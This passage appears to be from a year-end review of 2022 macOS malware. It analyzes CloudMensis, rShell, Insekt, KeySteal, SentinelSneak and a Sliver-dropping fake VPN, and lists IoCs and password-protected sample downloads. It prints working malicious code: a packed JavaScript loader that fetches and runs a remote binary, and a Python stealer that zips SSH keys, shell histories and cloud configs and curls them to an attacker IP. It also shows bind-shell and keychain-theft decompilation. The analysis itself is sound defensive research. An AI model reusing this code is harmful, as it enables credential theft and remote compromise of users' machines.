# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "arguments" : [ "/bin/bash", "/Volumes/vpn.app/Contents/Resources/script" ], "path" : "/bin/bash", "name" : "bash", "pid" : 9499 } } }

As the RunAtLoad key is set to true the specified binary ( ~/.androids/softwareupdated ) will be persistently executed by macOS, each time the user logs in.



Capabilities: Implant and (in-memory) Module Loader

The script executed by the malicious VPN application downloads and installs two additional binaries:

~/covid

~/.androids/softwareupdated

As just noted, the latter is persisted as a launch agent ( com.apple.softwareupdate.plist ).

The SentinelOne researchers noted that this persistent binary, softwareupdated is a Sliver implant:

"Sliver implants offer the operator multiple functions useful to adversaries, including opening a shell on the target machine. The softwareupdated binary periodically checks in with the C2 to retrieve scheduled tasks, execute them, and return the results. Sliver implants also have the ability to allow the operator to open an interactive real time session for direct tasking and exploitation." -SentinelOne

This is easy to confirm via embedded strings:

% strings -a softwareupdated ... sliverpb/sliver.proto .sliverpb.EnvelopeR .sliverpb.RegisterR .sliverpb.RegisterR .sliverpb.NetInterfaceR .sliverpb.FileInfoR .sliverpb.SockTabEntry.SockAddrR .sliverpb.SockTabEntry.SockAddrR .sliverpb.SockTabEntryR .sliverpb.DNSBlockHeaderR .sliverpb.ServiceInfoReqR .sliverpb.ServiceInfoReqR .sliverpb.PivotTypeR .sliverpb.PivotTypeR .sliverpb.NetConnPivotR .sliverpb.PivotPeerR .sliverpb.PeerFailureTypeR .sliverpb.PivotListenerR .sliverpb.WGTCPForwarderR .sliverpb.WGSocksServerR .sliverpb.WGSocksServerR .sliverpb.WGTCPForwarderR .sliverpb.WindowsPrivilegeEntryR B/Z-github.com/bishopfox/sliver/protobuf/sliverpbb

What is Sliver? According to its Github repository, Sliver is, an open source cross-platform adversary emulation/red team framework support[ing] C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS

As a fully-featured (persistent) implant, Sliver affords a remote attacker, complete control over an infected system. Thus any user infected with this malware, is pretty much owned.

The second binary downloaded and installed by the malicious VPN application is named covid . The SentinelOne researchers analyzed this binary as well, revealing it is a simple loader module, capable of downloading and executing other payloads directly from memory:

"The covid executable reaches out to http[:]//46[.]137.201.254, this time on port 8001...it uses a 'fileless' technique to execute a further payload in-memory, evidenced by the tell-tale signs of NSCreateObjectFileImageFromMemory and NSLinkModule." -SentinelOne

The ability to download and execute other payloads gives the malware unlimited extensibility.



Indicators of Compromise (IoCs):

IoCs for this malware include the following (credit: SentinelOne):

Executable Components: ~/covid :

7831806172857a563d7b4789acddc98fc11763aaf3cedf937630b4a9dce31419 ~/.androids/softwareupdated :

d9bba1cfca6b1d20355ce08eda37d6d0bca8cb8141073b699000d05025510dcc

Files/Directories: ~/.androids/ ~/Library/LaunchAgents/com.apple.softwareupdate.plist

Network: 46.137.201.254



 CloudMensis

Leveraging cloud providers for its command & control, CloudMensis exfiltrates items such as documents, keystrokes, and screen shots. Download: CloudMensis (password: infect3d )

In July, a researcher (Marc-Etienne M.Leveille) from ESET published an detailed report on a, a previously unknown macOS backdoor that spies on users of the compromised Mac and exclusively uses public cloud storage services to communicate back and forth with its operators.

Malware alert. 



Previously unknown macOS #malware uses cloud storage as a C&C channel to exfiltrate documents, keystrokes, and screen captures from compromised Macs. Read more about the #CloudMensis spyware detected by #ESETresearch.#ESET #ProgressProtected #CloudTechnology  ESET (@ESET) July 19, 2022

Writeups:

Infection Vector: Unknown

The ESET report states that infection vector for CouldMensis remains unknown:

"We still do not know how victims are initially compromised by this threat. " -ESET

ESETs did find code (in the 1st-loader) that would clean up from a Safari sandbox escape. Though this code is no longer invoked and the Safari bug has been long patched, it shows that, at least at one point, CloudMensis was likely deployed via a browser exploit. Thus perhaps CloudMensis is still(?) deployed via this same infection vector, albeit with newer exploit(s).

What is known (and is noted in the ESET report), is that once code execution is gained on a victim machine, that there is a two-stage [installation] process:

CloudMensis' Installation (credit: ESET)

Of note is that the first stage downloader, retrieves the 2nd stage payload (the persistent implant) from a cloud-storage provider. In the method named start one can find the code that downloads and saves the 2nd-stage payload to disk. The payload, (named MyExecute ) is downloaded from a cloud storage provider named pCloud. It is saved to disk as /Library/WebServer/share/httpd/manual/WindowServer :

1 /* @class AppDelegate */ 2 -( void ) start { 3 ... 4 5 rax = [pCloud alloc]; 6 rax = [rax init]; 7 8 rax = [rax DownloadFile: @"/MyExecute" ]; 9 [rax writeToFile: @"/Library/WebServer/share/httpd/manual/WindowServer" atomically: 0x1 ];

Persistence: Launch Daemon

CloudMensis is installed as a launch daemon. Examining the disassembly of the 1st-stage installer, reveals hardcoded strings for both the launch daemons property list ( .com.apple.WindowServer.plist ) as well as the launch daemon binary ( /Library/WebServer/share/httpd/manual/WindowServer ):

Hardcoded Launch Daemon Strings

The key-value pairs for the .com.apple.WindowServer.plist launch daemon property list are created (via a NSMutableDictionary )in the method named start :

1 /* @class AppDelegate */ 2 -( void ) start { 3 ... 4 rax = [NSMutableDictionary dictionaryWithCapacity: 0x5 ]; 5 r13 = rax; 6 7 [r13 setObject: @"com.apple.Windowserver" forKey: @"Label" ]; 8 ... 9 10 rax = @( YES ) ; 11 [r13 setObject:rax forKey: @"RunAtLoad" ]; 12 13 [r13 setObject:path forKey: @"ProgramArguments" ]; 14 [r13 writeToFile: @"/Library/LaunchDaemons/.com.apple.WindowServer.plist" 15 atomically: 0x1 ];

As the RunAtLoad key is set to YES (true) the specified binary (the CloudMensis implant, /Library/WebServer/share/httpd/manual/WindowServer ) will be persistently executed by macOS each time the system is (re)booted.



Capabilities: Backdoor

The CloudMensis malware, is fully featured backdoor, designed to both spy on and collect a myriad of information about its victims:

"The second stage [persistent component] of CloudMensis is ...packed with a number of features to collect information from the compromised Mac. The intention of the attackers here is clearly to exfiltrate documents, screenshots, email attachments, and other sensitive data." -ESET

In order to perform its large range of capabilities, CloudMensis exposes almost 40 commands, command that can be remotely tasked an attacker. The ESET report lists a subset of these commands which include:

Screen capture

Process listing

List emails / attachments

Download and execute files

List files on removable storage

Execute commands (and upload output)

As the malware authors did not obfuscate method names, get a list of commands (for example via the strings command, or class-dump). Moreover, this will point the analyst to code that implements each command.

% ./class-dump CloudMensis/WindowServer ... @interface functions : NSObject - (BOOL)EncryptMyFile:(id)arg1 encrypt:(BOOL)arg2 key:(unsigned char)arg3 afterDelete:(BOOL)arg4; - (void)EMAILSearchAndMoveFS; - (void)SearchAndMoveFS:(id)arg1 removable:(BOOL)arg2; - (void)ZipAndMoveZS:(id)arg1 prefix:(BOOL)arg2 sizelimit:(BOOL)arg3 subdir:(BOOL)arg4 afterDelete:(BOOL)arg5; - (void)GetIpAndCountryCode:(id)arg1; - (BOOL)CreatePlistFileAt:(id)arg1 withLabel:(id)arg2 exePath:(id)arg3 exeType:(int)arg4 keepAlive:(BOOL)arg5; - (void)UploadFileImmediately:(id)arg1 CMD:(int)arg2 delete:(BOOL)arg3; - (void)ExecuteShellCmdAndUpload:(id)arg1; - (void)ExecuteCmdAndSaveResult:(id)arg1 saveResult:(BOOL)arg2 uploadImmediately:(BOOL)arg3; - (void)GetFilePropertySHA1:(id)arg1 sha1Result:(char *)arg2; - (void)MoveToFileStore:(id)arg1 Copy:(BOOL)arg2; @end ... @interface screen_keylog : NSObject - (void)loop_usb; - (void)keyLogger; - (id)getScreenShotData; - (void)searchRemovable; - (void)keylog; - (void)runKeyScreenFunc; @end

One can easily follow the methods names in the malwares disassembly to gain an understanding how each command is implemented. For example, lets look at the EMAILSearchAndMoveFS method, so see how CloudMensis will search for emails on an infected machine:

1 /* @class functions */ 2 -( void ) EMAILSearchAndMoveFS { 3 var_128 = self; 4 ... 5 rax = [NSString stringWithFormat: @"/Users/%@/Library/Mail" , rax]; 6 r13 = [NSURL fileURLWithPath:rax]; 7 ... 8 r14 = [rax enumeratorAtURL:r13 includingPropertiesForKeys:r14 options: 0x0 ...]; 9 10 rax = [rax countByEnumeratingWithState: & var_210 objects: & var_B0 count: 0x10 ]; 11 ... 12 13 rsi = @selector (MoveToFileStore:Copy:); 14

In short (as can be seen in the decompilation of the EMAILSearchAndMoveFS method), the malware will enumerate all users Library/Mail directory. All emails (and attachments?) will then be moved into the malwares File Store, and subsequently exfiltrated.

Another (more simple command) is the GetIpAndCountryCode: method that can be tasked by remote attackers in order to geolocation infected systems. Looking at its implementation shows it simply makes a ( JSON ) request to ipinfo.io (and the parse the response):

1 /* @class functions */ 2 -( void ) GetIpAndCountryCode: ( void * )arg2 { 3 r15 = [arg2 retain ]; 4 rax = [NSURL URLWithString: @"https://ipinfo.io/json" ]; 5 rbx = [[NSData dataWithContentsOfURL:rax] retain ]; 6 if (rbx != 0x0 ) { 7 if (r15 != 0x0 ) { 8 [rbx writeToFile:r15 atomically: 0x1 ]; 9 } 10 var_58 = r15; 11 var_50 = rbx; 12 rax = [NSJSONSerialization JSONObjectWithData:rbx options: 0x0 error: 0x0 ]; 13 14 ... 15

Browsing to ipinfo.io/json will return a dictionary with geolocation information based on the ip address of your connection. Assuming the victim isnt using a VPN, this can provide some basis geolocation.

Indicators of Compromise (IoCs):

IoCs for CloudMensis include the following (credit: ESET):

Executable Components: /Library/WebServer/share/httpd/manual/WindowServer :

317ce26cae14dc9a5e4d4667f00fee771b4543e91c944580bbb136e7fe339427 b8a61adccefb13b7058e47edcd10a127c483403cf38f7ece126954e95e86f2bd

Files/Directories: /Library/WebServer/ /Library/LaunchDaemons/.com.apple.WindowServer.plist

Network: Various public cloud providers



ESETs report on CloudMensis also contains other IoCs, and thus should also be consulted.

 rShell

Delivered via a supply-chain attack, this backdoor affords basic, albeit sufficient capabilities to remote attacker. Download: rShell (password: infect3d )

In August, researchers from TrendMicro uncovered an APT server hosting a new macOS malware samples named rShell :

"We noticed a server hosting ... a malicious Mach-O executable named 'rshell.' [Other malware on the server is] used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS). We analyzed the Mach-O sample and found it to be a new malware family targeting the Mac OS platform." -TrendMicro

and perhaps most interesting, turns out the malware was spread via an insidious supply-chain attack!



Writeups:

Infection Vector: Supply-chain attack

Arguably the most interesting aspect of rShell (which itself is a fairly basic backdoor), is its infection vector: a (true) supply-chain attack.

In order to infect macOS users, the APT attacker compromised the servers of a the MiMi instant messaging application infecting the legitimate application. Thus users who downloaded MiMi (from the legitimate MiMi website) would become infected when running the application!

The MiMi Website (credit: sekoia.io

"MiMi (mimi =  = secret in Chinese) is an instant messaging application designed especially for Chinese users ... investigation showed that MiMi chat installers have been compromised to download ...rshell samples for the Mac OS platform. Iron Tiger compromised the [MiMi] server hosting the legitimate installers for this chat application for a supply chain attack." -TrendMicro

As noted by both the TrendMirco and Sekoia researchers (who both analyzed the attack), the MiMi application was subverted by the addition of obfuscated (packed) JavaScript inside the applications electron-main.js file:

1 module . exports = function ( t ){eval( function ( p , a , c , k , e , r ){ e = function ( c ){ return ( c < a ? '' : e (parseInt( c / a ))) + (( c = c % a ) > 35 ? String. fromCharCode ( c + 29 ) : c . toString ( 36 ))}; if ( ! '' . replace ( /^/ ,String)){ while ( c -- ) r [ e ( c )] = k [ c ] || e ( c ); k = [ function ( e ){ return r [ e ]}]; e = function (){ return '\\w+' }; c = 1 }; while ( c -- ) if ( k [ c ]) p = p . replace ( new RegExp( '\\b' + e ( c ) + '\\b' , 'g' ), k [ c ]); return p }( '(9(){0 5=1("5");0 h=1("h");0 6=1("6");0 7=1("7");0 2=1("2");0 3=1("m").3;n.i("o",(e)=>{j.k(e)});9 l(a,b,c){8 d=7.p(b);6(a).q(d).i("r",c)}s(2.t()=="u"){8 f=2.v()+"/";8 g="5://w.y.z.A/";l(g+"4",f+"4",()=>{j.k("B C");3("D +x "+f+"4");3(f+"4")})}})();' , 40 , 40 , 'const|require|os|exec|rshell|http|request|fs|var|function||||||||https|on|console|log|downloadFile|child_process|process|uncaughtException|createWriteStream|pipe|close|if|platform|darwin|tmpdir|139||180|216|65|download|finish|chmod' . split ( '|' ), 0 ,{})); var e = {}; function n ( r ){ if ( e [ r ]) return e [ r ]. exports ; var o = e [ r ] = { i : r , l :! 1 , exports : {}}; return t [ r ]. call ( o . exports , o , o . exports , n ), o . l =! 0 , o . exports } return n . m = t , n . c = e , n . d = function ( t , e , r ){ n . o ( t , e ) || Object. defineProperty ( t , e ,{ enumerable :! 0 , get : r })}, n . r = function ( t ){ "undefined" !== typeof ...

This JavaScript will be automatically executed when the (unsuspecting) user opens the MiMi application.

Below, is a relevant snippet of the unpacked JavaScript (unpacked by the TrendMicro researchers:

1 ... 2 if ( os . platform () as "darwin" ) { 3 var f = os . tmpdir () + "/" ; 4 var g = "http://139.180.216.65/" ; 5 downloadFile ( g + "rshell" , f + "rshell" , () => { console . log ( "download finish" ); 6 exec ( "chmod +x " + f + "rshell" ); 7 exec ( f + "rshell" ) 8 }

The unpacked JavaScript is easy to understand, and performs the following actions:

downloads a binary named rshell from 139.180.216.65

from sets it executable (via chmod )

) executes it



Persistence: None

The rshell backdoor is not persistence. This is noted by the Sekoia researchers who state:

" ...[rshell] does not display a persistence mechanism." -ESET

We can confirm this via static code analysis as well as by executing it on an analysis machine. The former did not reveal any code related to persistence, while when executed, the backdoor did not persist.

As rshell is a simple backdoor, it may simply be a 1st-stage tool, that on machines of interest could download and install a persistent (2nd-stage) tool. This approach is common in supply chain attacks, whereas the majority of victims may not be of interest to the attackers.

Also worth noting, as the backdoor will be (re)executed each time the user launches the infected MiMi application some level of (user-assisted) persistence is achieved.



Capabilities: Backdoor

"The rshell executable is a standard backdoor and implements functions typical of similar backdoors" -TrendMicro

The backdoors capabilities include:

Basic survey

Remote tasking

The survey logic is implemented in an unnamed subroutine (at 0x000000010001754e ). Strings in this function include: login, hostname, lan, username, guid, and version. The function invokes helper functions to generate the survey data. For example, one such helper calls uname to get the hosts name:

1 int sub_1000041a5 ( int arg0, int arg1) { 2 3 rax = uname( & var_510); 4 .... 5 }

while another invokes getuid and getpwuid to get the victims user name:

1 int sub_100004172 ( int arg0, int arg1) { 2 rbx = arg0; 3 rax = getuid(); 4 rax = getpwuid(rax); 5 ... 6 }

This survey information is then transmitted to the attackers command and control server ( 103.79.77.178 ):

(Attempted) Connection to the C C Server

The backdoors main purpose is to execute commands, tasked to it by the command and control server. The commands are one of two types:

"[the] backdoor accepts two 'types' of commands: 'cmd' and 'file'. " -Sekoia

Both the TrendMicro report and Sekoia report identify three cmd-type commands which include:

Start a new shell

Execute commands (via the shell)

Terminate the new shell.

Heres backdoors code, responsible for starting a new shell (initiated via a call to forkpty ):

1 void sub_100023204 ( int arg0, int arg1, int arg2, int arg3) { 2 rbx = arg0; 3 r14 = arg0 + 0x4 ; 4 rax = forkpty(r14, 0x0 , 0x0 , 0x0 ); 5 * ( int32_t * )rbx = rax; 6 if (rax != 0xffffffff ) { 7 if (rax != 0x0 ) { 8 r15 = * ( int32_t * )(rbx + 0x4 ); 9 fcntl(r15, 0x3 ) | 0x4 ; 10 fcntl(r15, 0x4 ); 11 var_20 = 0xa00050 ; 12 ioctl( * ( int32_t * )(rbx + 0x4 ), 0xffffffff80087467 ); 13 sub_1000232e0(rbx + 0x10 , r14); 14 } 15 else { 16 setsid(); 17 setenv( "HISTFILE" , "" , 0x1 ); 18 setenv( "TERM" , "vt100" , 0x1 ); 19 execl( "/bin/bash" , "bash" ); 20 exit( 0x0 ); 21 } 22 } 23 return ; 24 }

The other type of commands, are file commands, which allow a remote attacker to interact with the filesystem of the infected machine. These include expected commands such as:

Directory/file enumeration

Download file

Upload file

Delete file

Though not overly complex, rShell s capabilities will afford a remote attacker complete control over an infected system, as well as allowing a more complex/persistent 2nd-stage implant to be installed, if needed.



Indicators of Compromise (IoCs):

IoCs for rShell include the following (credit: TrendMicro):

Executable Components: Rshell :

3a9e72b3810b320fa6826a1273732fee7a8e2b2e5c0fd95b8c36bbab970e830a 8c3be245cbbe9206a5d146017c14b8f965ab7045268033d70811d5bcc4b796ec

Network: 139.180.216.65 45.142.214.193 104.168.211.246 80.92.206.158 45.77.250.141 



TrendMicro, has published a file solely containing such IoCs, which should also be consulted.

 Insekt

The Alchimist attack framework deploys cross-platform Insekt payloads including macOS variants. Download: Insekt (password: infect3d )

In October, a researchers from Talos discovered a new attack framework named Alchimist capable of deploying cross-platform malware named Insekt

We recently discovered a new C2 framework called #Alchimist that's spreading the new #Insekt trojan, targeting Windows, Mac and Linux machines Windows, Linux and Mac machines https://t.co/s8Njh7idFr pic.twitter.com/CRRYEjhlBN  Cisco Talos Intelligence Group (@TalosSecurity) October 13, 2022

Writeups:

Infection Vector: Unknown

What Talos discovered what an attack framework (and its payloads). However, exactly how the attackers would intially gain access to victims Linux/Windows/Mac systems (in order to deploy the Alchimist payloads) is not known.

However based on capabilites of the attack framework, specifically the ability to generate PowerShell and wget code snippets could indicate that attackers could use standard (user-assisted) infection mechanisms such as malicous documents:

""An attacker can embed these commands in a script (instrumented via a malicious entry point such as a maldoc, LNK, etc.) and deliver it to the victims by various means to gain an initial foothold, thereby downloading and implanting the Insekt RAT." -Talos

Persistence: Unknown

Unfortunately a version of the Insekt RAT for macOS was not recovered. As such, it is not known how (or if) persistence is achieved.



Capabilities: Backdoor/RAT

As noted, a macOS version the Insekt RAT was not recovered nor seen in the wild. However, in their report, Talos noted that the Windows / Linux variant supported the following features features that likely are implemented as well in the macOS variant:

Sleep

Take screenshots

Upgrade backdoor

Retrieve file sizes

Determine OS information

Execute (shell?) commands

Execute (shell?) commands as another user

The report also notes that (the Window/Linux variants):

"the implant consists of other capabilities [as well] such as shellcode execution, port and IP scanning, SSH key manipulation, proxying connections, etc." -Talos

Also mentioned in the Talos report is a macOS tool (found in the open directory of the Alchimist server). This tool contains a (limited) privilege escalation vulnerability as well as:

"The Mach-O file discovered in the open directory is a 64-bit executable written in GoLang embedded with an exploit and a bind shell backdoor. The dropper contains an exploit for a privilege escalation vulnerability (CVE-2021-4034) in polkit's pkexec utility. However, this utility is not installed on MacOSX by default, meaning the elevation of privileges is not guaranteed. Along with the exploit, the dropper would bind a shell to a port providing the operators with a remote shell on the victim machine." -Talos

The implementation of the privilege escalation vulnerability ( CVE-2021-4034 ) comes from github: poc-cve-2021-4034 and exploits a bug in Polkit.

As noted by Talos, Polkit is not installed by macOS by default (its a 3rd-party open-source project). As its rather unlikely that PolKit is installed macOS victims machines, the impact of this tool is likely minimal. Still, lets explore it a bit.

When run, the tool drops a binary named payload.so . Using the file tool one can see it is a dynamic library (dylib):

% file payload.so payload.so: Mach-O 64-bit dynamically linked shared library x86_64

The main logic for the bind-shell appears in the function named main.gconv_init (found at 0x00000000000fd300 ). The (annotated) decompilation of this function reveals GO-code, that:

reads an integer value from an environment variable NOTTY_PORT

invokes the net.Listen function to listen on this port (interface: 0.0.0.0 )

function to listen on this port (interface: ) handles the connection (via a call to a function named main.handle_connection )

1 //get port via 'NOTTY_PORT' 2 os . Getenv ( ... , NOTTY_PORT , 0xa , ... ); 3 strconv . ParseInt ( ... ); 4 5 //create: "0.0.0.0:<port>" 6 fmt . Sprintf ( ... , 0.0.0.0 , ... , port , ... ); 7 8 //listen 9 net . Listen ( "tcp" , address ); 10 11 //handle connection 12 main . handle_connection ( ... );

When a remote attacker connects, a function named main.handle_connection is invoked (as shown in the above decompilation).

This executes the attackers command either via:

os/exec.Command

or

_os/exec.(*Cmd).Start and _os/exec.(*Cmd).Wait

The tool also contains logic to directly execute a command if the CMD environment variable is set. This will be executed via syscall.Exec by means of /bin/sh ( -c ):

0x00000000000fecec db 0x2d ; '-' 0x00000000000feced db 0x63 ; 'c' 0x00000000000ff3ab db 0x2f ; '/' 0x00000000000ff3ac db 0x62 ; 'b' 0x00000000000ff3ad db 0x69 ; 'i' 0x00000000000ff3ae db 0x6e ; 'n' 0x00000000000ff3af db 0x2f ; '/' 0x00000000000ff3b0 db 0x73 ; 's' 0x00000000000ff3b1 db 0x68 ; 'h'

As the file, payload.so is a dynamic library (dylib) it cannot be directly executed instead it needs a loader. For analysis purposes lets write a simple loader that dlopen s payload.so and invokes one of its exported function.

First, lets dump the exports via nm (using the -gu command line flags):

% nm -gU ~/Downloads/payload.so 00000000000fdf30 T _gconv 00000000000fdf70 T _gconv_init ...

Well call the gconv_init export as its contains the bind-shell logic:

1 void * handle = dlopen( "./payload.so" , RTLD_LAZY); 2 3 int ( * fptr)( void ) = ( int ( * )( void ))dlsym(handle, "gconv_init" ); 4 ( * fptr)();

File and network events are reported at the process level. Thus in the following output(s), the events are attributed to our (custom) loader ...which has loaded and executed the payload.so dynamic library. The file and network events themselves however are triggered by code within the payload.so

While running a File Monitor:, we first observe payload.so self deleting. In the decompilation this is realized via a call to GOs os.removeAll function.

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK", "file" : { "destination" : "/Users/user/Downloads/payload.so", "process" : { "pid" : 13363 "name" : "loader", "path" : "/Users/user/Downloads/loader", } } }

Then, the bind-shell logic is executed, which results in a listening socket, readily observable via Netiquette :

Listening Socket

Indicators of Compromise (IoCs):

IoCs for Insekt include the following (credit: Talos):

Executable Components: exploit :

ef130f1941077ffe383fe90e241620dde771cd0dd496dad29d2048d5fc478faf payload.so :

ae9f370c89f0191492ed9c17a224d9c41778b47ca2768f732b4de6ee7d0d1459



Talos, has published a full list of IoCs which should also be consulted.





 KeySteal

KeySteal, as its name implies is a simple keychain stealer, embedded in a trojanized copy of a popular free application. Download: KeySteal (password: infect3d )

In November, researchers from TrendMicro published a report, details how a copy of the open-source ResignTool was packaged up with keychain-stealing malware

ResignTool, a convenient and practical application in Apple devices has been infiltrated by a piece of #malware to steal Keychain information. More details: https://t.co/FRhjrO5Al5  Trend Micro Research (@TrendMicroRSRCH) November 19, 2022

Writeups:

Infection Vector: Unknown

The TrendMicro researchers discovered the malware on VirusTotal:

"The sample was discovered on VirusTotal by one of our sourcing rules. It was not yet reported to be in the wild but was submitted in VirusTotal under the name archive.pkg." -TrendMicro

KeySteal, submitted to VirusTotal

As noted, it was not (yet) seen in the wild, and as such, we dont currently know its infection vector. However, as the sample was packaged up in a .pkg , it is likely that infection would require user-interaction (vs. say a remote exploit).

Its worth noting that though the package was signed, as shown by WhatsYourSign , Apple has now revoked the certificate:

Code-Signing Certificate, now Revoked

Persistence: Launch Item

Using the Suspicious Package utility, we can examine the malicious packages, noting that it will create the following:

a (trojanized) copy of the popular ResignTool in /Applications

in a persistent Launch Daemon property list file com.apple.googlechrome.plist

a binary named Google Chrome in /Library/QuickTime

Package Contents / Installed Files

Lets take a peek at the com.apple.googlechrome.plist file:

1 <?xml version="1.0" encoding="UTF-8"?> 2 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ..."> 3 <plist version= "1.0" > 4 <dict> 5 <key> KeepAlive </key> 6 <true/> 7 <key> Label </key> 8 <string> com.apple.googlechrome </string> 9 <key> Program </key> 10 <string> /Library/QuickTime/Google Chrome </string> 11 <key> RunAtLoad </key> 12 <true/> 13 </dict> 14 </plist>

In the ProgramArguments key we can see the path to the persistent location of the malware: /Library/QuickTime/Google Chrome . Also, as the RunAtLoad key is set to true , the malware will be automatically restarted each time the user logs in. Persistence achieved!



Capabilities: Keychain Stealer

The TrendMicro researchers noted that both binaries dropped by the malware ( ResignTool.app & Google Chrome ) are designed to steal victims keychains.

"...[the] ResignTool is where the operations of the malware function and this is how they steal the victim's keychain data. The other dropped file [Google Chrome], has similar keychain stealing routine of the ResignTool binary." -TrendMicro

Keychains on macOS contain a host of sensitive information such as password, private certificates, and more.

The malware (as pointed out by TrendMicro) will look for keychain data in the following locations on an infected machine:

~/Keychains

/Library/Keychains

~/MobileDevice/Provisioning Profiles

We can find these strings, embedded in the malware:

% strings - "KeySteal/Google Chrome" ... %@/Keychains keychain keychain-db /Library/Keychains/ %@/MobileDevice/Provisioning Profiles mobileprovision %@/%@ .mobileprovision

In a disassembler, we can decompile the malwares code to find a snippet of this code (specifically in a function found at 0x00000001000021f8 ):

1 r15 = [[NSFileManager defaultManager] retain]; 2 rax = NSSearchPathForDirectoriesInDomains( 0x5 , 0x1 , 0x1 ); 3 ... 4 rbx = [[NSString stringWithFormat: @ "%@/Keychains" , r12] retain]; 5 rax = [r15 enumeratorAtPath:rbx]; 6 rax = [rax countByEnumeratingWithState: & var_4F0 objects: & var_B0 count: 0x10 ]; 7 8 if (rax != 0x0 ) { 9 ... 10 rax = (rbx)(r13, @ selector(pathExtension)); 11 r12 = [rax isEqualTo: @ "keychain" ]; 12 if (r12 == 0x0 ) { 13 rax = [r13 pathExtension]; 14 r12 = [rax isEqualTo: @ "keychain-db" ]; 15 16 ...

Keychain data is then exfiltrated to the attackers server (found at usa.4jrb7xn8rxsn8o4lghk7lx6vnvnvazva.com ) via a call to method named: encryptBase64Data .

Indicators of Compromise (IoCs):

IoCs for KeySteal include the following (credit: TrendMicro):

Executable Components: /Applications/ResignTool.app :

410da3923ea30d5fdd69b9ae69716b094d276cc609f76590369ff254f71c65da

/Library/QuickTime/Google Chrome :

f5b4a388fee4183dfa46908000c5c50dceb4bf8025c4cfcb4d478c5d03833202



Files/Directories: /Library/QuickTime/ /Library/LaunchDaemons/com.apple.googlechrome.plist

Network: usa.4jrb7xn8rxsn8o4lghk7lx6vnvnvazva.com/



 SentinelSneak

Relying on a typosquatting attack, this malicious Python package targeted developers with the goal of exfiltrating sensitive data. Download: SentinelSneak (password: infect3d )

A week before 2022 ended, researchers from ReversingLabs published a report, detailing the discovery of a malicious Python package that masquerades as a legitimate one.

The latest edition of The Week in #Security is here. This week: #Okta is hit with another security incident involving its private #GitHub repos. Also: @ReversingLabs researchers discovered a malicious #PyPI package posing as a #SentinelOne #SDK client. https://t.co/Nhskl2p2QQ  ReversingLabs (@ReversingLabs) December 22, 2022

Writeups:

Infection Vector: TypoSquatting

The ReversingLabs write-up describes SentinelSneak s infection vector:

"A malicious Python package [containing `SentinelSneak`] is posing as a software development kit (SDK) for the security firm SentinelOne.... The package, SentinelOne has no connection to the noted threat detection firm of the same name and was... uploaded to PyPI, the Python Package Index. The `SentinelOne` imposter package is just the latest threat to leverage the PyPI repository and underscores the growing threat to software supply chains, as malicious actors use strategies like typosquatting to exploit developer confusion and push malicious code into development pipelines and legitimate applications." -ReversingLabs

Malicious 'TypoSquatting' Package (credit: ReversingLabs)

As was the case with the other malware of 2022 the spread via typosquatting attacks (e.g. CrateDepression and Pymafka ) SentinelSneak would infect users who inadvertently downloaded it while looking for the legitimate SentinelOne API Python Package ( SentinelOne4py ).

Worth noting too, simply downloading/installing package wont trigger an infection. Instead it most be used programmatically:

"The malicious functionality in the library does not execute upon installation, but waits to be called on programmatically before activating  a possible effort to avoid detection." -ReversingLabs

this sneakiness lead to its name; SentinelSneak .



Persistence: None?

It does not appear that SentinelSneak persists. Instead (as well show below in the Capabilities section), its goal is merely to exfiltrate sensitive files to a remote server.

However it appears that each time the malicious library is programmatically utilized, the malicious code with be (re)executed, and thus exfiltration can occur multiple times.



Capabilities: Data Stealer

The sole goal of SentinelSneak is to steal (exfiltrate) sensitive developer-related files off an infected machine:

"A detailed analysis of [the malicious] code revealed capabilities that are focused on exfiltration of data that is characteristic for development environments." -ReversingLabs

The malicious logic to perform such exfiltration is found in file named api.py :

1 def run (): 2 ... 3 if sys . platform == "darwin" : 4 writeFile() 5 elif sys . platform == "linux" : 6 writeFile1() 7 ...

First, we find a snippet in the run method that invokes platform specific-logic. Here, well focus on the darwin (macOS) code found in a method named writeFile :

1 def writeFile (serialId = 'default' ): 2 username = get_username() 3 foldername = '/Users/' + username + '/Library/Logs/tmp' 4 zipname = '/Users/' + username + '/Library/Logs/tmp.zip' 5 filename = '/Users/' + username + '/Library/Logs/tmp/tmp.txt' 6 if os . path . exists(foldername): 7 # print('11111') 8 shutil . rmtree(foldername) 9 os . makedirs(foldername) 10 with open(filename, 'a+' ) as file: 11 file . write( 'hosts : [ {} ]' . format(get_hosts()) + '

' ) 12 file . write( 'username : ' + get_username() + '

' ) 13 file . write( 'test : [ {} ]' . format(subprocess_popen( "bash -c ls /" )) + '

' ) 14 15 bashHistory = '/Users/' + username + '/.bash_history' 16 zshHistory = '/Users/' + username + '/.zsh_history' 17 18 gitConfig = '/Users/' + username + '/.gitConfig' 19 hosts = '/etc/hosts' 20 ssh = '/Users/' + username + '/.ssh' 21 zhHistory = '/Users/' + username + '/.zhHistory' 22 aws = '/home/' + username + '/.aws' 23 kube = '/home/' + username + '/.kube' 24 25 serialId = str(subprocess_popen( "hostname" )) 26 if os . path . exists(bashHistory): 27 shutil . copyfile(bashHistory, foldername + '/bashHistory' ) 28 if os . path . exists(zshHistory): 29 shutil . copyfile(zshHistory, foldername + '/zsh_history' ) 30 31 if os . path . exists(gitConfig): 32 shutil . copyfile(gitConfig, foldername + '/gitConfig' ) 33 if os . path . exists(hosts): 34 shutil . copyfile(hosts, foldername + '/hosts' ) 35 if os . path . exists(ssh): 36 shutil . copytree(ssh, foldername + '/ssh' ) 37 if os . path . exists(zhHistory): 38 shutil . copyfile(zhHistory, foldername + '/zhHistory' ) 39 if os . path . exists(aws): 40 shutil . copyfile(aws, foldername + '/aws' ) 41 if os . path . exists(kube): 42 shutil . copyfile(kube, foldername + '/kube' ) 43 zip_ya(foldername) 44 shutil . rmtree(foldername) 45 command = "curl -k -F \" file=@" + zipname + " \" \" https://54.254.189.27/api/v1/file/upload \" > /dev/null 2>&1" 46 os . system(command) 47 os . remove(zipname)

